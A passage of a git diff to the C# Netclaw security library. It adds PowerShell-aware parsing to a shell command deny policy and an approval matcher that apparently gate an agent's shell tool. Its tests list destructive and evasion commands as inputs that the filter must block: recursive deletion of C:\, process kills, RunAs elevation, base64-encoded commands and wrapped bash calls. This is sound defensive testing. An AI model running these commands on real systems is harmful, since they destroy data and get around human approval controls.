+++ b/src/Netclaw.Security.Tests/ShellCommandPolicyOverrideTests.cs
@@ -18,6 +18,7 @@ public sealed class ShellCommandPolicyOverrideTests
public void Override_verb_rule_denies_matching_command()
{
var policy = new ShellCommandPolicy(
+ ShellExecutionEnvironment.Current,
additionalDenyPatterns: null,
overrideRules:
[
@@ -33,6 +34,7 @@ public void Override_verb_rule_denies_matching_command()
public void Override_verb_rule_allows_non_matching_command()
{
var policy = new ShellCommandPolicy(
+ ShellExecutionEnvironment.Current,
additionalDenyPatterns: null,
overrideRules:
[
@@ -49,6 +51,7 @@ public void Override_verb_prefix_rule_denies_family()
// Note: shipped defaults already include `mkfs` prefix; this verifies
// the override mechanism correctly translates a verbPrefix rule.
var policy = new ShellCommandPolicy(
+ ShellExecutionEnvironment.Current,
additionalDenyPatterns: null,
overrideRules:
[
@@ -64,6 +67,7 @@ public void Override_verb_prefix_rule_denies_family()
public void Override_raw_text_rule_denies_substring_match()
{
var policy = new ShellCommandPolicy(
+ ShellExecutionEnvironment.Current,
additionalDenyPatterns: null,
overrideRules:
[
@@ -83,6 +87,7 @@ public void Override_raw_text_rule_denies_substring_match()
public void Override_refined_verb_with_arg_flag_requires_flag_present()
{
var policy = new ShellCommandPolicy(
+ ShellExecutionEnvironment.Current,
additionalDenyPatterns: null,
overrideRules:
[
@@ -104,6 +109,7 @@ public void Override_refined_verb_arg_flag_matches_combined_short_flags()
// -rf as a required flag should match against tokens like -rfv that
// pack multiple short flags into one combined token.
var policy = new ShellCommandPolicy(
+ ShellExecutionEnvironment.Current,
additionalDenyPatterns: null,
overrideRules:
[
@@ -124,6 +130,7 @@ public void Override_refined_verb_arg_flag_matches_combined_short_flags()
public void Override_refined_verb_with_first_path_constraint()
{
var policy = new ShellCommandPolicy(
+ ShellExecutionEnvironment.Current,
additionalDenyPatterns: null,
overrideRules:
[
@@ -146,6 +153,7 @@ public void Shipped_defaults_remain_active_alongside_overrides()
{
// Override does not weaken or remove shipped defaults.
var policy = new ShellCommandPolicy(
+ ShellExecutionEnvironment.Current,
additionalDenyPatterns: null,
overrideRules:
[
@@ -167,6 +175,7 @@ public void Invalid_override_rule_throws_at_construction_time()
// rejects invalid rules as a defense-in-depth check.
Assert.Throws(() =>
new ShellCommandPolicy(
+ ShellExecutionEnvironment.Current,
additionalDenyPatterns: null,
overrideRules:
[
@@ -178,6 +187,7 @@ public void Invalid_override_rule_throws_at_construction_time()
public void Combined_string_patterns_and_override_rules_both_apply()
{
var policy = new ShellCommandPolicy(
+ ShellExecutionEnvironment.Current,
additionalDenyPatterns: ["legacy-bad-tool"],
overrideRules:
[
diff --git a/src/Netclaw.Security.Tests/ShellCommandPolicyTests.cs b/src/Netclaw.Security.Tests/ShellCommandPolicyTests.cs
index 42517e6cc..6625475f2 100644
--- a/src/Netclaw.Security.Tests/ShellCommandPolicyTests.cs
+++ b/src/Netclaw.Security.Tests/ShellCommandPolicyTests.cs
@@ -4,12 +4,13 @@
//
// -----------------------------------------------------------------------
using Xunit;
+using Netclaw.Tools;
namespace Netclaw.Security.Tests;
public sealed class ShellCommandPolicyTests
{
- private readonly ShellCommandPolicy _policy = new();
+ private readonly ShellCommandPolicy _policy = new(ShellExecutionEnvironment.Current);
// ── Self-destruction ──
@@ -89,6 +90,93 @@ public void Denies_compound_with_denied_segment()
Assert.Equal(DenyCategory.SelfDestructive, decision.DenyCategory);
}
+ [Theory]
+ [InlineData("echo safe | netclaw daemon stop")]
+ [InlineData("printf safe | sudo kill -9 123")]
+ [InlineData("bash -c \"echo safe | netclaw daemon stop\"")]
+ public void Denies_pipeline_with_denied_tail(string command)
+ {
+ var decision = _policy.Evaluate(command);
+
+ Assert.False(decision.Allowed);
+ }
+
+ [Fact]
+ public void PowerShell_parser_denies_process_kill_in_pipeline_tail()
+ {
+ var policy = new ShellCommandPolicy(ShellExecutionEnvironment.PowerShell());
+
+ var decision = policy.Evaluate("Write-Output safe | Stop-Process -Id 1");
+
+ Assert.False(decision.Allowed);
+ Assert.Equal(DenyCategory.SelfDestructive, decision.DenyCategory);
+ }
+
+ [Theory]
+ [InlineData("spps -Id 1", DenyCategory.SelfDestructive)]
+ [InlineData("Write-Output safe | spps -Id 1", DenyCategory.SelfDestructive)]
+ [InlineData("Microsoft.PowerShell.Management\\Stop-Process -Id 1", DenyCategory.SelfDestructive)]
+ [InlineData(@"Remove-Item -Recurse -Force C:\", DenyCategory.SystemDestructive)]
+ [InlineData(@"rm -Recurse -Force C:\", DenyCategory.SystemDestructive)]
+ [InlineData(@"Microsoft.PowerShell.Management\Remove-Item -Rec -For C:\", DenyCategory.SystemDestructive)]
+ [InlineData("Start-Process pwsh -Verb RunAs", DenyCategory.PrivilegeEscalation)]
+ [InlineData("Microsoft.PowerShell.Management\\Start-Process pwsh -V RunAs", DenyCategory.PrivilegeEscalation)]
+ public void PowerShell_canonical_verbs_enforce_native_hard_denies(
+ string command,
+ DenyCategory expectedCategory)
+ {
+ var policy = new ShellCommandPolicy(ShellExecutionEnvironment.PowerShell());
+
+ var decision = policy.Evaluate(command);
+
+ Assert.False(decision.Allowed);
+ Assert.Equal(expectedCategory, decision.DenyCategory);
+ }
+
+ [Fact]
+ public void PowerShell_encoded_alias_cannot_bypass_hard_deny()
+ {
+ var policy = new ShellCommandPolicy(ShellExecutionEnvironment.PowerShell());
+ var payload = Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes("spps -Id 1"));
+
+ var decision = policy.Evaluate($"pwsh -EncodedCommand {payload}");
+
+ Assert.False(decision.Allowed);
+ Assert.Equal(DenyCategory.SelfDestructive, decision.DenyCategory);
+ }
+
+ [Theory]
+ [InlineData("cmd.exe /c \"echo unsafe\"")]
+ [InlineData("powershell.exe -Command \"Write-Output unsafe\"")]
+ [InlineData("pwsh -Command \"cmd.exe /c echo unsafe\"")]
+ [InlineData("Start-Process cmd.exe -ArgumentList /c,whoami")]
+ [InlineData("Start-Process powershell.exe -ArgumentList -Command,Get-Date")]
+ [InlineData("Start-Process pwsh -ArgumentList -Command,Get-Date")]
+ public void PowerShell_rejects_unsupported_shell_wrappers(string command)
+ {
+ var policy = new ShellCommandPolicy(ShellExecutionEnvironment.PowerShell());
+
+ var decision = policy.Evaluate(command);
+
+ Assert.False(decision.Allowed);
+ Assert.Equal(DenyCategory.CustomDeny, decision.DenyCategory);
+ }
+
+ [Fact]
+ public void Unparseable_canonical_grammar_requires_approval_instead_of_becoming_safe()
+ {
+ var environment = ShellExecutionEnvironment.PowerShell();
+ var policy = new ShellCommandPolicy(environment);
+ var matcher = new ShellApprovalMatcher(environment);
+ var arguments = new Dictionary { ["Command"] = "if (" };
+
+ var decision = policy.Evaluate("if (");
+
+ Assert.True(decision.Allowed);
+ Assert.True(matcher.IsMessy(new ToolName("shell_execute"), arguments));
+ Assert.Empty(matcher.ExtractCandidates(new ToolName("shell_execute"), arguments));
+ }
+
[Fact]
public void Allows_compound_of_safe_commands()
{
@@ -101,6 +189,12 @@ public void Allows_compound_of_safe_commands()
[Theory]
[InlineData("bash -c \"netclaw daemon stop\"")]
[InlineData("bash -lc \"netclaw daemon stop\"")]
+ [InlineData("bash --noprofile -lc \"netclaw daemon stop\"")]
+ [InlineData("env bash -lc \"netclaw daemon stop\"")]
+ [InlineData("command bash -lc \"netclaw daemon stop\"")]
+ [InlineData("timeout 5 bash -lc \"netclaw daemon stop\"")]
+ [InlineData("nice -n 5 bash -lc \"netclaw daemon stop\"")]
+ [InlineData("bash -c \"echo safe\" && bash -lc \"netclaw daemon stop\"")]
public void Denies_bash_wrapping_denied_command(string command)
{
var decision = _policy.Evaluate(command);
@@ -133,7 +227,9 @@ public void Denies_case_insensitive_and_flag_variants(string command)
[Fact]
public void Custom_pattern_added_and_enforced()
{
- var policy = new ShellCommandPolicy(additionalDenyPatterns: ["docker rm"]);
+ var policy = new ShellCommandPolicy(
+ ShellExecutionEnvironment.Current,
+ additionalDenyPatterns: ["docker rm"]);
var decision = policy.Evaluate("docker rm my-container");
Assert.False(decision.Allowed);
Assert.Equal(DenyCategory.CustomDeny, decision.DenyCategory);
@@ -142,7 +238,9 @@ public void Custom_pattern_added_and_enforced()
[Fact]
public void Custom_pattern_does_not_affect_unrelated_commands()
{
- var policy = new ShellCommandPolicy(additionalDenyPatterns: ["docker rm"]);
+ var policy = new ShellCommandPolicy(
+ ShellExecutionEnvironment.Current,
+ additionalDenyPatterns: ["docker rm"]);
var decision = policy.Evaluate("docker build -t myapp .");
Assert.True(decision.Allowed);
}
diff --git a/src/Netclaw.Security.Tests/ShellSyntaxTreeIntegrationTests.cs b/src/Netclaw.Security.Tests/ShellSyntaxTreeIntegrationTests.cs
index a6ec7e6ad..3080e345a 100644
--- a/src/Netclaw.Security.Tests/ShellSyntaxTreeIntegrationTests.cs
+++ b/src/Netclaw.Security.Tests/ShellSyntaxTreeIntegrationTests.cs
@@ -181,6 +181,46 @@ public void Dynamic_token_marked_for_skip()
Assert.Null(argWithDynamic.Resolved);
}
+ [Fact]
+ public void Command_string_wrapper_marks_inner_clause()
+ {
+ var parser = new BashParser();
+
+ var result = parser.Parse("bash -c \"git status\"");
+
+ Assert.False(result.IsUnparseable);
+ var clause = Assert.Single(result.Clauses);
+ Assert.True(clause.IsCommandStringWrapped);
+ Assert.Equal("git status", clause.Verb.Joined);
+ Assert.Null(clause.Verb.CanonicalVerb);
+ }
+
+ [Fact]
+ public void PowerShell_alias_exposes_canonical_verb()
+ {
+ var parser = new PwshParser();
+
+ var result = parser.Parse("gci C:\\temp");
+
+ Assert.False(result.IsUnparseable);
+ var clause = Assert.Single(result.Clauses);
+ Assert.False(clause.Verb.IsDynamic);
+ Assert.Equal("Get-ChildItem", clause.Verb.CanonicalVerb);
+ }
+
+ [Fact]
+ public void PowerShell_dynamic_invocation_is_explicitly_flagged()
+ {
+ var parser = new PwshParser();
+
+ var result = parser.Parse("& $COMMAND --version");
+
+ Assert.False(result.IsUnparseable);
+ var clause = Assert.Single(result.Clauses);
+ Assert.True(clause.Verb.IsDynamic);
+ Assert.Null(clause.Verb.CanonicalVerb);
+ }
+
[Fact]
public void Leading_line_comment_is_stripped_from_clause_extraction()
{
diff --git a/src/Netclaw.Security/IToolApprovalMatcher.cs b/src/Netclaw.Security/IToolApprovalMatcher.cs
index e23261422..160df743b 100644
--- a/src/Netclaw.Security/IToolApprovalMatcher.cs
+++ b/src/Netclaw.Security/IToolApprovalMatcher.cs
@@ -104,18 +104,24 @@ bool IsApproved(
///
/// Shell-specific approval matcher. Verb-chain extraction stops at the first
-/// flag, path, or URL token; && / || / ; split
-/// approval units while | stays inside one unit; bash -c /
-/// sh -c wrappers recurse into the inner command.
+/// flag, path, or URL token. The selected ShellSyntaxTree grammar is the
+/// structural authority for clause, alias, path, wrapper, and dynamic-command
+/// classification.
///
public sealed class ShellApprovalMatcher : IToolApprovalMatcher
{
- public static readonly ShellApprovalMatcher Instance = new();
+ public static readonly ShellApprovalMatcher Instance = new(ShellExecutionEnvironment.Current);
- // BashParser is immutable — Parse delegates to a pure static — so one
- // shared instance is safe and avoids a per-evaluation allocation. The DI
- // container registers it as a singleton for the same reason.
- private static readonly ShellSyntaxTree.BashParser Parser = new();
+ private readonly ShellExecutionEnvironment _environment;
+ private readonly IShellApprovalSemantics _approvalSemantics;
+
+ public ShellApprovalMatcher(ShellExecutionEnvironment environment)
+ {
+ _environment = environment;
+ _approvalSemantics = environment.PathStyle == ShellPathStyle.Windows
+ ? WindowsShellApprovalSemantics.Instance
+ : PosixShellApprovalSemantics.Instance;
+ }
public string GetApprovalModeKey(ToolName toolName, IDictionary? arguments)
=> toolName.Value;
@@ -132,29 +138,12 @@ public IReadOnlyList ExtractPatterns(ToolName toolName, IDictionary(StringComparer.OrdinalIgnoreCase);
- // POSIX commands route through BashParser so the approval units
- // match the clause decomposition ExtractCandidates already uses — in
- // particular a bare newline separates statements, so a multi-line
- // command yields one unit per statement. Windows keeps the legacy
- // ShellTokenizer path — ShellSyntaxTree is bash-only.
- if (!OperatingSystem.IsWindows())
- {
- foreach (var unit in ExtractApprovalUnitsViaBashParser(command))
- {
- var normalized = ShellTokenizer.NormalizeApprovalUnit(unit, workingDirectory);
- if (!string.IsNullOrEmpty(normalized))
- patterns.Add(normalized);
- }
-
- return patterns.ToList();
- }
-
- TraverseApprovalUnits(command, unit =>
+ foreach (var unit in ExtractApprovalUnitsViaParser(command, workingDirectory))
{
- var normalized = ShellTokenizer.NormalizeApprovalUnit(unit, workingDirectory);
+ var normalized = _approvalSemantics.NormalizeApprovalUnit(unit, workingDirectory);
if (!string.IsNullOrEmpty(normalized))
patterns.Add(normalized);
- });
+ }
return patterns.ToList();
}
@@ -171,30 +160,7 @@ public IReadOnlyList ExtractCandidates(ToolName toolName, IDi
if (string.IsNullOrWhiteSpace(command))
return [];
- // POSIX commands route through BashParser so we pick up the parser's
- // cd-in-compound cwd attribution. The parser walks `cd X && verb`,
- // `bash -c "cd X && verb"`, and multi-step `cd A && cd B && verb`
- // chains; the candidate's directory inherits the latest cd target
- // when the clause itself has no anchored path arg. Windows keeps
- // the legacy ShellTokenizer path — ShellSyntaxTree is bash-only.
- if (!OperatingSystem.IsWindows())
- return ExtractCandidatesViaBashParser(command);
-
- var seen = new HashSet<(string, string?)>();
- var candidates = new List();
- TraverseApprovalUnits(command, unit =>
- {
- var verb = ShellTokenizer.ExtractVerbChain(unit);
- if (string.IsNullOrEmpty(verb))
- return;
-
- var directory = ShellTokenizer.ExtractFirstPathArgument(unit);
- var key = (verb.ToLowerInvariant(), directory);
- if (seen.Add(key))
- candidates.Add(new ApprovalCandidate(verb, directory));
- });
-
- return candidates;
+ return ExtractCandidatesViaParser(command, GetWorkingDirectory(arguments));
}
///
@@ -205,44 +171,28 @@ public IReadOnlyList ExtractCandidates(ToolName toolName, IDi
/// pattern/candidate list (messy semantics — Once/Deny prompt only) or
/// the flattened raw command for display.
///
- private static ShellSyntaxTree.ParsedCommand? TryParseCommand(string command)
+ private ShellCommandAnalysis? TryAnalyzeCommand(string command, string? workingDirectory)
{
- try
- {
- var result = Parser.Parse(command);
- return result.IsUnparseable || result.Clauses.Count == 0 ? null : result;
- }
- catch
- {
- return null;
- }
+ var result = _environment.Analyze(command, workingDirectory);
+ return result.Failure == ShellAnalysisFailure.None && result.Clauses.Count > 0
+ ? result
+ : null;
}
- private static IReadOnlyList ExtractCandidatesViaBashParser(string command)
+ private IReadOnlyList ExtractCandidatesViaParser(string command, string? workingDirectory)
{
- var result = TryParseCommand(command);
- if (result is null)
+ var result = TryAnalyzeCommand(command, workingDirectory);
+ if (result is null || result.HasDynamicSyntax)
return [];
- // Group consecutive Pipe clauses into a single approval unit so
- // `cat /etc/hosts | wc -l` stays one decision rather than two.
- // AndIf / OrIf / Sequence and the leading None-operator clause each
- // start a fresh group.
+ // Every executable pipeline clause is a distinct security candidate.
+ // The prompt may render a pipeline as one display unit, but a safe or
+ // approved head must never authorize a different tail process.
var seen = new HashSet<(string, string?)>();
var candidates = new List();
- ShellSyntaxTree.Clause? groupHead = null;
foreach (var clause in result.Clauses)
{
- if (clause.Operator != ShellSyntaxTree.CompoundOperator.Pipe)
- groupHead = clause;
-
- if (groupHead is null)
- continue;
-
- if (!ReferenceEquals(clause, groupHead))
- continue; // pipe-tail clauses fold into the group head
-
// ShellSyntaxTree's greedy verb walk (SPEC §6.1) folds
// lowercase-leading value tokens into the verb chain (`git tag
// v0.4.2`, `git show aa211dcb`, `git checkout feature2`), while
@@ -253,8 +203,12 @@ private static IReadOnlyList ExtractCandidatesViaBashParser(s
// `git tag 0.4.2` matches. Mirrors the value-termination in
// ReconstructClauseText so the gate candidate and the persisted
// pattern normalize identically.
- var verb = ShellTokenizer.ApplyVerbShortCircuit(
- string.Join(" ", TrimTrailingValueTokens(clause.Verb.Tokens)));
+ if (clause.Verb.IsDynamic)
+ continue;
+
+ var parsedVerb = clause.Verb.CanonicalVerb
+ ?? string.Join(" ", TrimTrailingValueTokens(clause.Verb.Tokens));
+ var verb = ShellTokenizer.ApplyVerbShortCircuit(parsedVerb);
if (string.IsNullOrEmpty(verb))
continue;
@@ -267,7 +221,7 @@ private static IReadOnlyList ExtractCandidatesViaBashParser(s
// surface their target via the explicit-path scan above
// when BashParser exposes the redirect arg.
var isSideEffectVerb = ShellTokenizer.SingleTokenSideEffectVerbs.Contains(verb);
- var directory = ResolveClauseDirectory(clause, isSideEffectVerb);
+ var directory = ResolveClauseDirectory(clause, isSideEffectVerb, workingDirectory);
var key = (verb.ToLowerInvariant(), directory);
if (seen.Add(key))
candidates.Add(new ApprovalCandidate(verb, directory));
@@ -276,17 +230,19 @@ private static IReadOnlyList ExtractCandidatesViaBashParser(s
return candidates;
}
- private static string? ResolveClauseDirectory(ShellSyntaxTree.Clause clause, bool isSideEffectVerb)
+ private string? ResolveClauseDirectory(
+ ShellSyntaxTree.Clause clause,
+ bool isSideEffectVerb,
+ string? workingDirectory)
{
// First explicit path arg wins — that's the candidate's own
- // operand, e.g. `dotnet test /home/user/repos/Foo`. Only the
- // anchored-path predicate from the legacy tokenizer counts (/, ~/,
- // ./, ../ and the bare ~/./..), so `feature/freshdesk-cli-skill`
- // and other internal-slash tokens stay as args, not directories.
- // The IsPathToken classification runs on the raw user-facing form
- // so branch names whose Resolved happens to look path-like don't
- // get misclassified; once classified as a path, we persist the
- // parser-resolved absolute path when available so it compares
+ // operand, e.g. `dotnet test /home/user/repos/Foo`. The canonical
+ // parser supplies structural path classification and resolution for
+ // the selected grammar. Netclaw's conservative path predicate remains
+ // the scope boundary: an internal slash in a git ref must not turn a
+ // branch into a directory approval. Persist the parser-resolved path
+ // when available
+ // so it compares
// string-equal to cwd-attributed directories produced by other
// clauses (otherwise `cd ~/x && verb` produces "2 directories" in
// the approval prompt even though both refer to the same folder).
@@ -302,13 +258,27 @@ private static IReadOnlyList ExtractCandidatesViaBashParser(s
if (raw.StartsWith('-'))
continue;
- if (ShellTokenizer.IsPathToken(raw))
+ if (arg.IsPath && _approvalSemantics.LooksLikePath(raw))
{
var canonical = !string.IsNullOrEmpty(arg.Resolved) ? arg.Resolved : raw;
return ShellTokenizer.ApplyFileParentRule(canonical);
}
}
+ foreach (var redirect in clause.Redirects)
+ {
+ if (redirect.IsDynamicSkip
+ || string.IsNullOrEmpty(redirect.Target)
+ || !_approvalSemantics.LooksLikePath(redirect.Target))
+ {
+ continue;
+ }
+
+ var canonical = _approvalSemantics.NormalizePathToken(redirect.Target, workingDirectory)
+ ?? redirect.Target;
+ return ShellTokenizer.ApplyFileParentRule(canonical);
+ }
+
// Side-effect verbs ignore cd attribution — see caller's comment
// on why (null-directory invariant in IsPureSideEffect, and these
// verbs don't operate on the filesystem anyway).
@@ -323,14 +293,15 @@ private static IReadOnlyList ExtractCandidatesViaBashParser(s
}
///
- /// Splits a POSIX command into approval-unit strings via BashParser:
- /// one unit per statement, with consecutive | clauses folded into
- /// the same unit so cat x | wc -l stays a single decision.
+ /// Splits a command into approval-unit strings via the canonical parser:
+ /// one display unit per statement, with consecutive | clauses folded
+ /// into the same display text. Security candidates are still extracted for
+ /// every pipeline clause by .
/// Returns an empty list for messy, unparseable, or parser-rejected
/// commands — mirroring the legacy
/// empty-result contract so the prompt builder offers only Once/Deny.
///
- private static IReadOnlyList ExtractApprovalUnitsViaBashParser(string command)
+ private IReadOnlyList ExtractApprovalUnitsViaParser(string command, string? workingDirectory)
{
// Messy commands (control-flow keywords, unbalanced brackets) cannot
// be cleanly decomposed into approval units; mirror the legacy
@@ -338,8 +309,8 @@ private static IReadOnlyList ExtractApprovalUnitsViaBashParser(string co
if (ShellTokenizer.IsMessyCompoundCommand(command))
return [];
- var result = TryParseCommand(command);
- if (result is null)
+ var result = TryAnalyzeCommand(command, workingDirectory);
+ if (result is null || result.HasDynamicSyntax)
return [];
try
@@ -543,8 +514,8 @@ public bool IsApproved(
if (ShellTokenizer.IsMessyCompoundCommand(command))
return false;
- // Fail-closed on a parser miss: BashParser swallows exceptions and
- // unparseable results return an empty candidate list. Treating that
+ // Fail-closed on a parser miss: exceptions and unparseable results
+ // return an empty candidate list. Treating that
// as "approved" would silently auto-allow any command our parser
// regresses on. Force the gate instead.
var candidates = ExtractCandidates(toolName, arguments);
@@ -569,7 +540,17 @@ public bool IsApproved(
}
public bool IsMessy(ToolName toolName, IDictionary? arguments)
- => ShellTokenizer.IsMessyCompoundCommand(GetCommand(arguments));
+ {
+ var command = GetCommand(arguments);
+ if (ShellTokenizer.IsMessyCompoundCommand(command))
+ return true;
+
+ if (string.IsNullOrWhiteSpace(command))
+ return false;
+
+ var parsed = TryAnalyzeCommand(command, GetWorkingDirectory(arguments));
+ return parsed is null || parsed.HasDynamicSyntax;
+ }
public string FormatForDisplay(ToolName toolName, IDictionary? arguments)
{
@@ -583,14 +564,11 @@ public string FormatForDisplay(ToolName toolName, IDictionary?
// Issue #1402: channel renderers embed DisplayText in single-line
// code fences, so a multi-line quoted string (a message body, an
- // inline script) dumped verbatim corrupts the approval prompt. On
- // POSIX, rebuild a one-line view from the parse tree with multi-line
- // args summarized by size; Windows flattens — ShellSyntaxTree is
- // bash-only. The trailing ReplaceLineEndings catches line breaks the
+ // inline script) dumped verbatim corrupts the approval prompt. Rebuild
+ // a one-line view from the canonical parse tree with multi-line args
+ // summarized by size. The trailing ReplaceLineEndings catches line breaks the
// reconstruction can leak and collapses CRLF to a single space.
- var display = OperatingSystem.IsWindows()
- ? command
- : BuildSanitizedDisplayViaParser(command);
+ var display = BuildSanitizedDisplayViaParser(command, GetWorkingDirectory(arguments));
return display.ReplaceLineEndings(" ");
}
@@ -610,9 +588,9 @@ public string FormatForDisplay(ToolName toolName, IDictionary?
/// misstate which statements a pipe or && guard applies
/// to. The flattened raw command is ugly but fully disclosed.
///
- private static string BuildSanitizedDisplayViaParser(string command)
+ private string BuildSanitizedDisplayViaParser(string command, string? workingDirectory)
{
- var result = TryParseCommand(command);
+ var result = TryAnalyzeCommand(command, workingDirectory);
if (result is null)
return command;
diff --git a/src/Netclaw.Security/SecurityServiceExtensions.cs b/src/Netclaw.Security/SecurityServiceExtensions.cs
index 1530ad79e..772d0fc58 100644
--- a/src/Netclaw.Security/SecurityServiceExtensions.cs
+++ b/src/Netclaw.Security/SecurityServiceExtensions.cs
@@ -31,13 +31,12 @@ public static IServiceCollection AddContentSecurity(this IServiceCollection serv
}
///
- /// Registers for the approval gate evaluator.
- /// The bash implementation is the only one shipped today; PowerShell and
- /// cmd parsers are deferred to ShellSyntaxTree v0.2+.
+ /// Registers the canonical execution environment and its matching parser.
///
public static IServiceCollection AddShellParser(this IServiceCollection services)
{
- services.AddSingleton();
+ services.AddSingleton(ShellExecutionEnvironment.Current);
+ services.AddSingleton(ShellExecutionEnvironment.Current.Parser);
return services;
}
}
diff --git a/src/Netclaw.Security/ShellApprovalSemantics.cs b/src/Netclaw.Security/ShellApprovalSemantics.cs
index 28cd1e1c8..0754f854d 100644
--- a/src/Netclaw.Security/ShellApprovalSemantics.cs
+++ b/src/Netclaw.Security/ShellApprovalSemantics.cs
@@ -350,8 +350,14 @@ public override IReadOnlyList ExtractInnerCommands(string command)
if (!IsPosixShellInvoker(verb))
continue;
- if (i + 1 < tokens.Count && IsShellCommandFlag(tokens[i + 1]) && i + 2 < tokens.Count)
- results.Add(tokens[i + 2]);
+ for (var j = i + 1; j < tokens.Count - 1; j++)
+ {
+ if (IsShellCommandFlag(tokens[j]))
+ {
+ results.Add(tokens[j + 1]);
+ break;
+ }
+ }
}
return results;
@@ -492,12 +498,16 @@ public override IReadOnlyList ExtractInnerCommands(string command)
continue;
}
- if (IsPowerShellInvoker(verb)
- && i + 1 < tokens.Count
- && IsPowerShellCommandFlag(tokens[i + 1])
- && i + 2 < tokens.Count)
+ if (!IsPowerShellInvoker(verb))
+ continue;
+
+ for (var j = i + 1; j < tokens.Count - 1; j++)
{
- results.Add(tokens[i + 2]);
+ if (IsPowerShellCommandFlag(tokens[j]))
+ {
+ results.Add(tokens[j + 1]);
+ break;
+ }
}
}
diff --git a/src/Netclaw.Security/ShellCommandPolicy.cs b/src/Netclaw.Security/ShellCommandPolicy.cs
index c5fb97018..9fa6dffbf 100644
--- a/src/Netclaw.Security/ShellCommandPolicy.cs
+++ b/src/Netclaw.Security/ShellCommandPolicy.cs
@@ -23,11 +23,16 @@ public sealed record ShellCommandDecision(bool Allowed, string? DenyReason = nul
///
public sealed class ShellCommandPolicy
{
+ private readonly ShellExecutionEnvironment _environment;
private readonly IReadOnlyList _denyPatterns;
private readonly IReadOnlyList _rawStringPatterns;
- public ShellCommandPolicy(IEnumerable? additionalDenyPatterns = null)
- : this(additionalDenyPatterns, overrideRules: null)
+ public ShellExecutionEnvironment ExecutionEnvironment => _environment;
+
+ public ShellCommandPolicy(
+ ShellExecutionEnvironment environment,
+ IEnumerable? additionalDenyPatterns = null)
+ : this(environment, additionalDenyPatterns, overrideRules: null)
{
}
@@ -40,9 +45,11 @@ public ShellCommandPolicy(IEnumerable? additionalDenyPatterns = null)
/// are always present and cannot be removed via either input.
///
public ShellCommandPolicy(
+ ShellExecutionEnvironment environment,
IEnumerable? additionalDenyPatterns,
IEnumerable? overrideRules)
{
+ _environment = environment;
var structured = new List(DefaultDenyPatterns);
var raw = new List(DefaultRawStringPatterns);
@@ -109,7 +116,7 @@ private static void TranslateRule(
///
/// Evaluates a shell command (possibly compound) against the deny list.
/// If any segment of a compound command matches, the entire command is denied.
- /// Recursively scans bash -c / sh -c inner commands.
+ /// Nested command strings are flattened by the canonical parser.
///
public ShellCommandDecision Evaluate(string command)
{
@@ -122,8 +129,42 @@ public ShellCommandDecision Evaluate(string command)
if (!rawDecision.Allowed)
return rawDecision;
- var segments = ShellTokenizer.GetAllCommandSegments(command);
- foreach (var segment in segments)
+ var parsed = _environment.Analyze(command);
+ if (parsed.Failure == ShellAnalysisFailure.UnsupportedShellWrapper)
+ {
+ foreach (var clause in parsed.Clauses)
+ {
+ var clauseDecision = EvaluateClause(clause);
+ if (!clauseDecision.Allowed)
+ return clauseDecision;
+ }
+
+ return ShellCommandDecision.Deny(
+ "Command uses an unsupported shell wrapper",
+ DenyCategory.CustomDeny);
+ }
+
+ if (parsed.Failure == ShellAnalysisFailure.Unresolved || parsed.Clauses.Count == 0)
+ return EvaluateLegacySegments(command);
+
+ foreach (var clause in parsed.Clauses)
+ {
+ var decision = EvaluateClause(clause);
+ if (!decision.Allowed)
+ return decision;
+ }
+
+ return ShellCommandDecision.Allow();
+ }
+
+ private ShellCommandDecision EvaluateLegacySegments(string command)
+ {
+ // Control-flow scripts are an intentional parser boundary today. The
+ // approval matcher marks them messy, preventing safe-list or persisted
+ // auto-approval; a human can still approve the fully disclosed raw
+ // script once. Retain the legacy hard-deny scan as defense in depth so
+ // obvious supported deny shapes are not lost at that boundary.
+ foreach (var segment in ShellTokenizer.GetAllCommandSegments(command))
{
var decision = EvaluateSegment(segment);
if (!decision.Allowed)
@@ -144,6 +185,44 @@ private ShellCommandDecision EvaluateRawString(string command)
return ShellCommandDecision.Allow();
}
+ private ShellCommandDecision EvaluateClause(ShellSyntaxTree.Clause clause)
+ {
+ var tokens = new List(clause.Verb.Tokens.Count + clause.Args.Count + clause.Redirects.Count);
+ if (!string.IsNullOrWhiteSpace(clause.Verb.CanonicalVerb))
+ tokens.Add(_environment.Grammar == ShellGrammar.PowerShell
+ ? ShellExecutionEnvironment.NormalizePowerShellVerb(clause.Verb.CanonicalVerb)
+ : clause.Verb.CanonicalVerb);
+ else
+ {
+ if (_environment.Grammar == ShellGrammar.PowerShell && clause.Verb.Tokens.Count > 0)
+ {
+ tokens.Add(ShellExecutionEnvironment.NormalizePowerShellVerb(clause.Verb.Tokens[0]));
+ tokens.AddRange(clause.Verb.Tokens.Skip(1));
+ }
+ else
+ {
+ tokens.AddRange(clause.Verb.Tokens);
+ }
+ }
+ tokens.AddRange(clause.Args
+ .Where(static arg => !arg.IsCwdAttribution)
+ .Select(static arg => arg.Raw));
+ tokens.AddRange(clause.Redirects
+ .Where(static redirect => !string.IsNullOrEmpty(redirect.Target))
+ .Select(static redirect => redirect.Target));
+
+ if (tokens.Count == 0)
+ return ShellCommandDecision.Allow();
+
+ foreach (var pattern in _denyPatterns)
+ {
+ if (pattern.Matches(tokens))
+ return ShellCommandDecision.Deny(pattern.Reason, pattern.Category);
+ }
+
+ return ShellCommandDecision.Allow();
+ }
+
private ShellCommandDecision EvaluateSegment(string segment)
{
var tokens = ShellTokenizer.Tokenize(segment).ToList();
@@ -168,6 +247,19 @@ private ShellCommandDecision EvaluateSegment(string segment)
return new VerbChainDenyPattern(tokens, raw, DenyCategory.CustomDeny);
}
+ private static bool IsPowerShellParameterAbbreviation(string token, string parameter)
+ {
+ if (token.Length < 2 || token[0] != '-')
+ return false;
+
+ var name = token[1..];
+ var colon = name.IndexOf(':', StringComparison.Ordinal);
+ if (colon >= 0)
+ name = name[..colon];
+
+ return name.Length > 0 && parameter.StartsWith(name, StringComparison.OrdinalIgnoreCase);
+ }
+
// ── Default deny patterns ──
private static readonly IReadOnlyList DefaultDenyPatterns =
@@ -187,6 +279,11 @@ private ShellCommandDecision EvaluateSegment(string segment)
// System-destructive: rm -rf on root or home
new RmRfRootDenyPattern("Cannot remove root or home directories", DenyCategory.SystemDestructive),
+ new PowerShellRemoveItemRootDenyPattern("Cannot remove root or home directories", DenyCategory.SystemDestructive),
+
+ // PowerShell elevation through Start-Process is the native equivalent
+ // of sudo/doas and must remain categorically unavailable.
+ new PowerShellRunAsDenyPattern("Cannot escalate privileges from within a session", DenyCategory.PrivilegeEscalation),
// Filesystem destruction (mkfs, mkfs.ext4, mkfs.xfs, etc.)
